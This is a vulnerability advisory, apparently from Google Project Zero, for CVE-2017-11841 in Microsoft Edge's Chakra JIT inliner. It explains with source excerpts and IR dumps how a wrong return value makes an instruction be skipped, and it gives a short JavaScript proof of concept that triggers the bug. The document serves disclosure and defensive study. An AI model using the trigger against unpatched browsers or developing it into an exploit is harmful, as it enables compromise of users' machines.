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Microsoft Edge Chakra JIT Inline::InlineCallApplyTarget_Shared Failed Return

Posted on 25 November 2017

Microsoft Edge: Chakra: JIT: Inline::InlineCallApplyTarget_Shared doesn't return the return instruction

CVE-2017-11841

Here's a snippet of Inline::Optimize.
FOREACH_INSTR_EDITING(instr, instrNext, func->m_headInstr)
{
switch (instr->m_opcode)
{
case Js::OpCode::Label:
{
...
if (instr->AsLabelInstr()->m_isForInExit)
{
Assert(this->currentForInDepth != 0); // The PoC hits this
this->currentForInDepth--;
}
}
break;
case Js::OpCode::InitForInEnumerator:
if (!func->IsLoopBody())
{
this->currentForInDepth++;
}
break;
case Js::OpCode::CallI:
...
instrNext = builtInInlineCandidateOpCode != 0 ?
this->InlineBuiltInFunction(instr, inlineeData, builtInInlineCandidateOpCode, inlinerData, symThis, &isInlined, profileId, recursiveInlineDepth) :
this->InlineScriptFunction(instr, inlineeData, symThis, profileId, &isInlined, recursiveInlineDepth);
...
}
}

"InlineBuiltInFunction" and "InlineScriptFunction" are used to inline a JavaScript function. For example, those methods can convert a call expression as follws.

Before:
s6.var = StartCall 1 (0x1).i32 #0000
arg1(s7)<0>.var = ArgOut_A s2.var, s6.var #0003
CallI s3.var, arg1(s7)<0>.var #0006

s0.var = Ld_A 0xXXXXXXXX (undefined)[Undefined].var #000c <<--- NEXT INSTRUCTION

After:
s6.var = StartCall 1 (0x1).i32 #0000
...
s12.var = InlineeStart s3.var, iarg1(s7)<24>.var #0006 Func # (#1.3), #4 obj.inlinee
s9[Object].var = Ld_A 0xXXXXXXXX (GlobalObject)[Object].var # Func # (#1.3), #4
s8.var = Ld_A 0xXXXXXXXX (undefined)[Undefined].var #0000 Func # (#1.3), #4
StatementBoundary #0 #0002 Func # (#1.3), #4
StatementBoundary #-1 #0002 Func # (#1.3), #4
InlineeEnd 4 (0x4).i32, s12.var #0000 Func # (#1.3), #4

StatementBoundary #0 #000c
s0.var = Ld_A 0xXXXXXXXX (undefined)[Undefined].var #000c <<---- NEXT INSTRUCTION

As you can see the inlinee is wrapped in InlineeStart and InlineeEnd. So to handle the orignal next instructions in the next iterations, those methods must return the call instruction's next instruction. But there's a buggy call flow.

Here's the call flow.
Inline::InlineBuiltInFunction(...) {
...
if (inlineCallOpCode == Js::OpCode::InlineFunctionCall)
{
inlineBuiltInEndInstr = InlineCall(callInstr, inlineeData, inlinerData, symCallerThis, pIsInlined, profileId, recursiveInlineDepth);
return inlineBuiltInEndInstr->m_next;
}
...
}

-> InlineCall -> InlineCallTarget ->

Inline::InlineCallApplyTarget_Shared(...) {
IR::Instr* instrNext = callInstr->m_next;
return InlineFunctionCommon(callInstr, originalCallTargetOpndIsJITOpt, originalCallTargetStackSym, inlineeData, inlinee, instrNext, returnValueOpnd, callInstr, nullptr, recursiveInlineDepth, safeThis, isApplyTarget);
}

Inline::InlineFunctionCommon(...)
{
...
return instrNext;
}

The point is that it ends up returning "callInstr->m_next->m_next". Therefore, "callInstr->m_next" will be never processed.

In the PoC, "InitForInEnumerator" will be skipped.

s16[LikelyUndefined_CanBeTaggedValue].var = CallI s6.var, arg2(s15)<8>.var #0015 << will be inlined
InitForInEnumerator s16.var, s17.u64 #001f << Skipped

PoC:
function opt(obj) {
for (let i in obj.inlinee.call({})) {
}

for (let i in obj.inlinee.call({})) {
}
}

function main() {
let obj = {
inlinee: function () {
}
};

for (let i = 0; i < 10000; i++)
opt(obj);
}

main();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

 

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